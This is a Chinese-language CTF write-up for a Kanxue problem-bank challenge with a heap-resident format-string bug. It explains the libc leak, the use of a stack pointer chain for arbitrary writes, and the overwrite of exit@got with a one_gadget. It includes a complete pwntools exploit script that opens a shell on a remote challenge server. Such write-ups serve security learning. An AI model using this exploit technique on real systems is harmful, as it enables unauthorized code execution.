Loading... 最近为了学习`_IO_FILE`这一类的利用,在尝试阅读`scanf`的源码,想找一点参考资料,就到看雪论坛上面看了看,资料没找到反而是发现看雪也有自己的题库,于是就找了这道难度分最低的题目试了试水。[原题地址](https://ctf.pediy.com/itembank.htm) ### 解法 非常容易,就是典型的堆上格式化字符串利用。*考虑到内部对字符串的处理是用链表加堆实现的,好像也没什么保护措施,应该也是可以通过堆来利用的,但是那个的实现逻辑不是一眼可以理解的,所以我就没去想。* <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1018578672.png "></div> 漏洞点就是这里。您可能会发现main函数中有一个`isatty()`函数,这是对当前进程是否由终端打开的判断,如果是则返回`1`,对于本题来讲就是如果是由终端打开就会打出一些提示输入的信息,如果不是就不会,但是仔细看上面的那个漏洞函数,会发现不论是不是终端打开都会有这个漏洞,所以完全不影响我们的利用。本题和一般的格式化字符串利用的唯一区别就是格式化字符串在堆上,我们没法直接向栈中布置地址来写,这种情况一般的解法都是找”跳板“实现任意地址读写,关于这种利用方式我之前有写过类似的一篇题解,就是这道[xman_2019_format](https://www.cjovi.icu/WP/buu-xman_2019_format-wp.html)(文章里也介绍了格式化字符参数的计算方法,这里就不写了~~反正最后也是数出来的~~)。在这里我再写一次,也算复习一下。 把断点下在printf处 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/2317545263.png "></div> <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1775711611.png "></div> 观察栈结构,我们可以看到蓝框中残留有libc的地址,通过`%21$p`我们就可以把它`leak`出来,用`one_gadget`搜一波就可以算出`execve("/bin/sh", rsp+0x70, environ)`的地址,所以只要我们可以实现任意地址写就可以get shell了。回想之前格式化字符串的利用,我们一般通过`%n`来向一个我们给定的地址写入数据,这里我们无法直接注入地址,就可以通过橙框中`0x7fffffffdec0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf20`这样的链(也就是之前说的跳板)实现对地址`0x7fffffffdef0`的修改,将这个地址改成我们想修改的地址,然后再对地址`0x7fffffffdef0`进行`%n`就可以实现任意地址写了。当然这道题还是比较麻烦的 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/3852666609.png"></div> 由于是通过这个函数退出的,所以我们需要劫持`exit`的`got`表来get shell,所幸的是没有开启`full reload`的保护。所以这个时候就有利用的方法了,也就是先通过链`0x7fffffffdec0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf20`对地址`0x7fffffffdef0`中的值进行修改,修改成`exit@got`,然后再修改`exit@got`为`one_gadget`,退出就可以get shell了 ### exp ```python #!/usr/binenv python # coding=utf-8 from pwn import * #context(log_level = 'debug') #context.terminal = ['tmux','splitw','-h'] #sh = process("./qsjs") sh = remote("221.228.109.254",10001) libc = ELF("./libc-2.23.so") def insert_str(payload): sh.sendline("i") sh.sendline(payload) def peek_str(): sh.sendline("p") def delete_str(): sh.sendline("d") #leak libc insert_str("%21$pstop") peek_str() magic_off = 0xf1147 base = int(sh.recvuntil("stop",drop = True),base = 16) - (libc.symbols["__libc_start_main"] + 240) print hex(base) magic = base + magic_off print hex(magic) delete_str() #leak stack insert_str("%8$pstop") peek_str() stack_addr = int(sh.recvuntil("stop",drop = True),base = 16) + 8 print hex(stack_addr) delete_str() addr_of_ret = stack_addr & 0xFFFF insert_str("%" + str(addr_of_ret) + 'c' + "%8$hnend") peek_str() sh.recvuntil("end") delete_str() insert_str("%" + str(0x3098) + 'c' + "%14$hnend") peek_str() sh.recvuntil("end") delete_str() addr_of_ret = (stack_addr + 2) & 0xFFFF insert_str("%" + str(addr_of_ret) + 'c' + "%8$hnend") peek_str() sh.recvuntil("end") delete_str() insert_str("%" + str(0x60) + 'c' + "%14$hnend") peek_str() sh.recvuntil("end") delete_str() #leak stack insert_str("%15$pstop") peek_str() print hex(int(sh.recvuntil("stop",drop = True),base = 16)) delete_str() #gdb.attach(proc.pidof(sh)[0]) insert_str("%" + str(magic & 0xFFFF) + 'c' + "%15$hnend") peek_str() sh.recvuntil("end") delete_str() insert_str("%15$s") peek_str() print hex(u64(sh.recv(6).ljust(8,"\x00"))) print hex(magic) delete_str() addr_of_ret = stack_addr & 0xFFFF insert_str("%" + str(addr_of_ret) + 'c' + "%8$hnend") peek_str() sh.recvuntil("end") delete_str() insert_str("%" + str((0x309A)) + 'c' + "%14$hnend") peek_str() sh.recvuntil("end") delete_str() #leak stack insert_str("%15$pstop") peek_str() print hex(int(sh.recvuntil("stop",drop = True),base = 16)) delete_str() insert_str("%" + str((magic>>16) & 0xFFFF) + 'c' + "%15$hnend") peek_str() sh.recvuntil("end") delete_str() insert_str("%15$s") peek_str() print hex(u64(sh.recv(6).ljust(8,"\x00"))) print hex(magic) delete_str() insert_str("%" + str((0x309C)) + 'c' + "%14$hnend") peek_str() sh.recvuntil("end") delete_str() #leak stack insert_str("%15$pstop") peek_str() print hex(int(sh.recvuntil("stop",drop = True),base = 16)) delete_str() insert_str("%" + str((magic>>32) & 0xFFFF) + 'c' + "%15$hnend") peek_str() sh.recvuntil("end") delete_str() insert_str("%15$s") peek_str() print hex(u64(sh.recv(6).ljust(8,"\x00"))) print hex(magic) delete_str() sh.sendline("q") sh.interactive() ``` 由于我在写的时候没想清楚,所以实际上这个exp是写渣了的,但是shell还是可以拿的。 最后修改:2021 年 01 月 07 日 10 : 11 PM © 允许规范转载 赞赏 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付